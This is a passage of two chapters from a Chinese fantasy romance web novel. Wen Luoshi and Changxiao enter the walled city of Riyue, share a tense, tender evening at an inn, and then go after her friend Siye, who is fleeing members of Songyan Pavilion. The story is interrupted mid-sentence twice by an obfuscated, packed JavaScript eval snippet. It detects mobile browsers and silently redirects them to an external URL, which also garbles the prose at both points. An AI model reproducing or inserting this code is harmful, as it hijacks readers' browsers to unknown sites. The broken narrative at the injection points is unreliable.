“别老在一旁坐着,我带你去看看已经长成的大萝卜。” 萝卜田里,文落诗把袖子高高撸起,看准一处大萝卜叶子,用力向上一拔。周围的土地顿时松裂,一个红彤彤的巨大萝卜破土而出。 一个顶好几个的大小。 “看吧,能长这么大呢!多好啊,那么点一个小萝卜,没啥颜色,塞进土里过个几十天,就能长这么大,还能变红。”文落诗盯着拔出来的萝卜,两眼放光,“看着就好吃,好想回去就给炖了,萝卜煨牛腩,或者腌成咸菜。” 长晓没想到她介绍半天的新品种这么神奇,一时也睁大眼,思考道:“这种萝卜若是能普及,粮食的产量会大大增加啊。” 他瞬间换上大局的思维,开始思考要把这个任务安排给谁。 文落诗拎着萝卜在他眼前晃悠了半天:“想什么呢,走啦,旁边那户人家晚上请咱们吃萝卜。” 她收获了一顿美味的萝卜,还收获了写作素材,心情大好。 * 此时已然入夏,烈日当空,哪怕文落诗这个体寒之人,也开始觉得热,渐渐地,只穿一层薄薄的罗裙就够。 两人离开赤缇城后,飞向第四重天。 日月城是个很古老的城,不像赤缇城那般地方特色鲜明,也没有稀音城位于边界处的那种疏离感,反倒显得相当古朴浑厚,从外形上看,与人间的普通城池相似,也是魔界里少有的存在四面城墙的城池。 城墙底部爬满遒劲而苍老的树根,横竖交错,干枯到僵硬。树根下是新长出的草,却也被着萧索的气氛染得有些发黄。 城门之下有不少守卫拦着,进城之人要一个个查身份,看是否有异样。整个气氛严肃,显得像是边界处在防外敌侵犯一样。 传言上古时期,这里常有凶兽来犯,自然异样频出,故而建起城墙,在城墙上增设无数阵法,才保下城内的安宁。 两人来到城门处时,确实感受到城外频频呼之欲出的压抑气氛。可这种压抑感,文落诗总觉得很奇怪。说不上来,不像是来源于城外,更像是来源于城内的人为因素。 “这里真的有凶兽出没过吗?”文落诗以前来过日月城,故而十分熟悉排队进城这一套流程。此刻,她正乖乖在进城的队伍里排着,侧过头问道。 “近千年没有过,”长晓想了想,道,“但千年之前,曾有过浊气侵犯,那时有过几只凶兽攻城,不过很快就被击杀。” 文落诗点点头。那时候她还小,没听说过这些事。 她转头望去,看向面前高高耸立的城门。 城门之上,深深镌刻着古老的日月图腾。墨色城门如同天上砚台倾倒般浓重,而浓墨之上的图腾则厚重描了银线,左门为日,右门为月,图样繁琐,庄严神圣。此时正值白日,城门打开,日月之间便隔了无尽的距离。 放眼望去,四面城墙上也交替刻着各式各样的日月图腾,细细密密,不像城门那般宏大浓烈,却连绵不断,像是在整座城之上编织了一张轻薄的网。可就是这么一张薄如蝉翼的网,却将日月城重重锁住,压得喘不过气。 “这些城墙上的日月花纹,全都是阵法吧?”文落诗细细看了许久,喃喃道。 长晓颔首:“嗯,不过,已是多年未开启过了。” 文落诗心道也是,这种大事,自己鲜有耳闻,但长晓必然一清二楚。 不过,她盯着了长晓半晌,忽然意识到,他好像在陪自己排队等着进城。 …… 如果不是陪自己,他哪里用得着在这里干等着。 文落诗暗自抽了抽嘴角,压下砰砰直跳的心脏。他们这种关系很微妙,两个人谁也不挑明,装作不记得或者忘了,并借着这种表面的模糊,让两人的关系越来越近。但正因为文落诗已然心知肚明,每当想到这件事,她都是心神一凛。 比如现在。 于是,进城之后,酒楼里的第一顿饭和第一天晚上的客房,文落诗悄悄去把两个人账提前结了。 长晓发现之后,黑着脸去敲她客房的门,她装作没听见,厚着脸皮不回应,不想承受门口传来的低气压,也不想解释为什么这么做。 直到晚上她出门的时候,被不知道哪里窜出来的长晓一把抓住胳膊,将她整个人按在过道的墙上。 “要躲到什么时候?” 他这个姿势让文落诗很慌。 夏年间日落很晚,此刻酒楼外正是夕阳下沉之时,昏黄的光线映着街上的影影绰绰,流淌着让人有些眩晕的温暖。而这些暖意,沿着窗户轻柔洒在酒楼三层的过道上,好像在怂恿着一种灿烂的、汹涌的情绪偷跑出来,去快速蔓延,将所有其中之人卷入,无可自拔。 长晓的身躯压上来,挡住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450849|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了所有透进酒楼里的光线。她的世界里只剩下眼前的黑影,而她深深被困其中,退无可退,逃无可逃。 文落诗把头别过去,闭上眼睛,极力呼吸着仅有的光线,咽下那一点剩余的光,依旧不说话。 她其实不敢想象此刻是个什么姿势。胳膊被长晓向上举起,整个人被按到走廊墙上,在那股巨大的力道下丝毫不能挪动。而身前清晰感受到的那股压上来的温热,更是瞬间淹没了她每一寸骨血,令她喘不过气来。 怪就怪夏日的衣裙太薄了。 “你别这样,走廊里,一会别人看到了。”她脑海中千万波涛翻涌,被长晓忽然这么一搞,思绪全乱了,半天才生拼硬凑出这么一句。 “那进屋?”长晓幽幽问道。 “别。” 文落诗想都没想,“唰”一下睁开眼,眼神视死如归。 这种状态下,要是被长晓拉进屋,她可真说不好会发生什么。 见她睁眼,长晓的眼眸微微眯起,慢慢松开她的胳膊,往后退了半步。 ——装作刚刚他什么都没做一样。 文落诗靠在墙上,见他在面前冷冷清清又仪表堂堂的样子,张了张嘴,一时半刻也没说出话来。 许久,长晓轻轻伸出手臂,把文落诗往怀里一拽,让她紧紧贴在自己胸膛上。 “明天上街,给你买好吃的。” 文落诗把头埋在他怀里,使劲点了点。 长晓犹豫了片刻,还是低声问道:“是因为进城的事情吗?” 文落诗又点了点头。 “不用这么想,”长晓拍了拍她后背,声音如同傍晚的暖风,“我很乐意陪你的多待一会。” 这个怀抱太过于温暖,文落诗甚至渴望从此地老天荒,不用再抬起头。 “来我屋里坐坐吧,”长晓松开她,捧起她的后脑勺,“我这边风景挺好,吹吹晚风。” 选酒楼客房的时候,文落诗知道长晓喜欢临街的屋子,那样显得有生气、不至于一个人闷着,就特意凭借着她以前来日月城时微薄的经验,将他带来了这家比邻主街的酒楼,还给他特意选了个朝外的客房,一打开窗户就能看到主街上人来人往。而她睡眠不好,喜欢朝里的安静一点的,干脆就住长晓对门。 她轻轻点了下头。 至于刚刚那些,完全抛在脑后,不再思索。 而望着长晓转身去开门的背影,文落诗忽然停住脚步。 晚风挟着淡淡的茉莉花香奔来,混着橘黄色的光线,洒在眼前颀长的身形之上,将那一袭玄色的长袍染得熠熠生辉。 文落诗一咬下嘴唇:“长晓。” 长晓动作一顿,回头。 “是你先说的,不要事事分那么清。” 她语气平缓而沉静,像是只在叙述一个事实。没等长晓反应过来,她轻轻叹了口气。这回语气中略微带上一丝情绪。 “既然这样,你也给我点机会,让我对你好些。这样才公平。” 说罢,她先一步绕过长晓,进了他的屋子。 长晓愣了半晌,似是在怀疑这句话真真切切是从文落诗嘴里说出来的。 等他回过神来后,不由得浅浅低笑。 而夏日的晚风中,灿烂的晚霞下,方才说这话的人,已然坐在屋中开始沏茶。 106. 满塘浮萍写日月(二) 翌日一早,文落诗和长晓从街上买回了好多点心,满心欢喜低抱着一大落盒子回到长晓的屋中,再一盒一盒摊开在桌子上。 桂花糕、糯米糕、豌豆黄、枣花酥、荷花酥…… 文落诗两眼放光地盯着那一盒荷花酥,忽然想起,之前几次来日月城之时,她那朋友就和她说过,这里城郊处有一大片水域,由几个大大小小的湖泊组成,上有几十座的石桥、木桥,也有不少水中的亭子。夏年之中,湖中荷花会盛开,满塘粉艳,饱满得动人心魄。 而最美的不是荷花,是夏末之时,荷花凋谢后,留下的满塘浮萍。浮萍密密实实覆盖在湖面上,映着天光显得油亮。放眼望去,满目翠绿,绿得无边无际,震撼至极。 以往每次来日月城,要么赶不上夏年,要么她有事着急走,她只被朋友匆匆拉着,远远看过一眼浮萍。如今正值夏年初,荷花刚开,她想着,在这里多住几个月,起码等看完浮萍再走。 长晓当然没意见。这些民间的琐事,他自然没有文落诗知道得多,听她这么一提,才知道日月城城郊水塘和浮萍的存在。文落诗审美极好,从她往年在纷纷白雪中看一整天落梅就能窥探出一二。能被她称赞的,必然是一地之胜景。 “你那个朋友,在何处,什么时候来找你?” 文落诗右手拿着荷花酥往嘴里塞,左手拿着绢布擦嘴,听长晓如此问,她使劲嚼了半天还没吃完,只好掩着口,囫囵道:“我昨天给她传信了,不出意外,过两天她会自己找上门。” 长晓表示了解。 看文落诗吃得心满意足,他心下高兴,也拿起一块糕点。 刚启唇准备咬下一口,窗边忽然传来一阵躁动。 文落诗秉持着“反正在这里看热闹不会被发现”的心态,迅速起身,给窗户开了一个小口,把脖子伸过去,像只鹅一样。 长晓自然不甘落后,也放下糕点,凑了过去。 只见路上的行人一惊一乍,纷纷看向街道南面,个个吓得龇牙咧嘴,转头就一溜烟跑进附近的酒楼、茶馆、商铺之中。 顿时,整条街都空了。 这座酒楼的大堂里也涌入了不少人,阵阵低语声和议论声从楼下传来。 紧接着,街道的南面传来一阵千军万马崩腾的声音,轰轰烈烈,细碎而沉重。 长晓的第一反应是有人私自调兵、动乱、抑或是这里又有魔兽出没,不由得心下一紧,顺手把文落诗揽住,以防下一刻就出事。 文落诗也是这个反应,心头一紧。 就当二人心中打鼓,气氛拉紧,做好一切准备之时,那队“军马”终于来到到酒楼之下—— 只见一个身着淡绿色衣裙的姑娘率先闯入视野,向上拽着两侧的裙摆,正不要命似的向前跑,时不时回头看一看后面的“追兵”还差几步能跟上她。 而她跑过之后,没多久,一群人轰然而至。有不少女子提着裙摆,一路踉跄跑着,也有不少男子在队伍中大声喊着什么,只是场面过于杂乱,什么也听不清。 几乎是一眨眼的功夫,这个领头的“逃兵”和身后的一群“追兵”,统统消失在视野尽头。 长晓彻底愣住,他怀里的文落诗也脑子里一片空白。下一刻,文落诗拨开他搭在身前的手臂,转过身,与他对看一眼。 他们都是这才想起来,日月城有禁制。 禁制来源于四面城墙上的阵法,整座城里的任何活物都不能飞,以及,任何快速移动身形的法术都无法使用。故而,不管是逃命还是逃债,都只能用最古老基础的方法——用腿跑。 简直相当于来到了人界。 这个禁制是上古时期为了对付凶兽而设。失控的魔兽往往移动速度极快,并非普通魔族可以反应过来的速度。这些魔兽出没之时,眨眼间便能左闪右躲好几十个来回,既容易仗着移动速度而攻击百姓,也容易在不敌之时迅速逃出城。为了避免它们祸害苍生,干脆设置了如此一道禁制。魔兽被引进城之后,便失去了所有攻击优势,很轻松地被一网打尽。 没办法,杀敌一千,自损八百,这个方法对付魔兽有效得出奇,但也凭空在日月城内增添了许多限制。 不过,刚刚那番场景,好像跟他们想象的,不太一样? 文落诗满脸疑惑。 长晓眼神一凛,唤出他的临渊寻魔石,指尖蓝光微动,石镜上出现了视野之外的画面。 只见那个领跑的鹅黄色衣裙姑娘一路沿着主街,冲向北面的城门处,手里高举着自己的身份通牒,隔空扔给检查的士兵,一副势必要跑出城、把身后那群人都甩开的架势。 而她也真的做到了。 她出城之后,士兵的头领反应过来,立刻吩咐关城门,并派了几人去城外追那个逃走的姑娘。一切都刚刚好,在后面那群人到达北城门之下的那一刻,城门恰好彻底关上。此时,无论那群人说什么,士兵都一律摇头,誓不开门。 石镜只能看到画面,不能听到声音,因此,这群人正在焦急万分地和士兵们说什么,就不得而知了。 长晓面色严肃,恢复了他最常见的不苟言笑的样子,掸掸衣袖,就打算出门去。 他丝毫没意识到,文落诗的表情有多惊讶。 “落诗,我在日月的人手不多,此刻也无法立刻调动。我亲自去一趟北城门,看看怎么回事。你在这里不要动。” 文落诗还在呆着,没答复。 “放心,不到万不得已,我不会主动暴露任何事情。” 文落诗依旧没回答。 意识到不对,长晓转过身,问道:“怎么了?” “那个……要不我陪你一起去吧。”文落诗怯生生走上前来,面色上带着些许尴尬,“那个跑出城的人,是我朋友。” 长晓一惊。 “她就是最近要找我的那个朋友,叫司夜。” 长晓惊得眼珠子快掉出来。 “后面追她的那群人里,不少我也都认识,全是松烟阁的人。” 文落诗上前一步,抓住长晓的胳膊,把还沉浸在惊讶中的他快速拉下楼:“边走边说,我怕司夜出事。” 于是,两人一路沿着主街,行至北城门处。 说实话,他们两个都没这么憋屈过,白白拥有两身强到出众的法力,偏偏使不出来,从他们住的酒楼去到北城门,真的只能用四条腿走过去。长晓在途中还不死心,掐着手指念决式了一次,发现连他也使不出任何飞行或移动的术法。 他甚至在想,等回去之后,定要改改日月城的这个阵法,或者想办法完善完善,不然关键时候太耽误事。 好在,文落诗边走边给他讲松烟阁的情况,让他不至于心头烦闷。 而且这姑娘说着说着,自然而然把他的左臂挽过去了。此刻她两只手软绵绵塔在他的左臂上,而她自己似乎还没意识到做出了这个亲昵的举动。 那时候长晓又想,其实不改阵法也行。而且,这条路最好再长一些。 文落诗确实完全没意识到。她满脑子都是松烟阁的事情,整整讲了一路。 松烟阁是个极为特殊的存在,特殊到甚至没办法用语言描述完全。松烟是墨的一种称呼,而这个地方,大概相当于一个文字写作机构,上至朝堂奏折或板正骈文、下至市井小说或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453458|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么营养的几行酸涩词句,什么都能写。 当然,松烟阁里的人有分工,有人负责书写,有人负责审稿,有人负责润色等等。 而最重要的是,他们所写的文字,均是别人定制的。也就是说,这里可以理解为一个大型商铺,售卖的商品是文字,而你只需要付钱,他们保证给你写好。 当然,也可以点名就要某个人写的文字,毕竟接了这么多单生意,作者出了名是很正常的事情。 文落诗的那个朋友,司夜,就还算个小有名气的。至少,要是有人想要代写文字,慕名找来松烟阁,那司夜这个名字就应该在这位客人的备选名单之内。 松烟阁在这些年里,几乎从未收到过负面反馈,只要出手,必是精品中的精品,是一个极强的存在,甚至有些令人发指。这里属于是没听说过的人可能完全不知道,但听说过的人一定发自内心感到震撼的那种存在。 长晓倒是很熟悉松烟阁这个名字。 毕竟,松烟阁这种具有“代写文章”功能的机构,一定会在每届科考的时候成为香饽饽。对于常年动笔的人来说,科考押题,或者提前写好万金油的文章,都是再简单不过的事情。而这个松烟阁是近百年里刚刚不知道从哪里冒出来的,在此之前,也从未有人想过世间能有这种机构。也就是说,纵观千万年的历史,从来没有人想过还能用这种方式在春闱中舞弊。 于是,刚听说松烟阁的存在那一年,整个朝廷都惊了,所有官员一时间忧心忡忡,不知如何是好。最后,魔宫特意颁布了一条法令,要求所有参加科考之人不允许与松烟阁或其它类似代笔机构有任何程度上的牵扯,否则不仅仅是必定落榜,还要严惩。 所以,听到文落诗说出这个名字的时候,长晓内心几乎是崩溃的,现在听她一遍一遍提,认真讲着这里的故事,他只能强忍着,不让嘴角抽得太明显。 ——这条法令是他亲自制定的,当年这事给他烦得焦头烂额,一连摔碎了好几个杯子,他能不知道这个地方吗? 不过,对于这个法令,松烟阁表示万般配合,特意派人与魔宫建立联系,保证每届科考之时严查松烟阁内部有没有人接类似的单子。这些年下来,合作得算是十分顺利。 但文落诗讲的当然不是这些。她讲的都是松烟阁的一些民间的事情,比如阁里的人员构成,接过什么有意思的单子,是个怎么样的经营模式之类的。 说到一半,眼看着北城门就在眼前,文落诗忽然意识到什么,顺理成章松开了长晓的胳膊,站定,疑惑抬头:“我跟你说了这么多,你怎么一点反馈都没有啊?” 长晓见她把手臂收回得这么自然,有些纳闷,却尽力保持自然道:“我点头了,你刚刚那个姿势可能看不到。” 文落诗眨眨眼睛:“哦,对,你跟我说过,你其实很是话少。” 长晓笑了笑,拍拍她脑袋:“快走,很快就到了。” 文落诗走了两步,又想到了什么,突然间双眼睁大,瞳孔骤缩。 “怎么了?” “我刚意识到,你应该很了解松烟阁,用不着我来解释。我……我一时忘了,说了这么多。” “当然不是,”此刻,两人走到城门之下,长晓的声音如玉般温润,涌入文落诗的耳畔,“你说的这些,都是别人不知道的细节,我以前完全不了解。” 虽然不知道这话是安慰还是真心的,但文落诗心里至少松了一口气。她刚刚一直在复盘自己说了什么,有没有过多废话,现在松下口气,她思绪放缓,忽然意识到一件更恐怖的事情。 她刚刚,是不是,那个,抓长晓的胳膊了?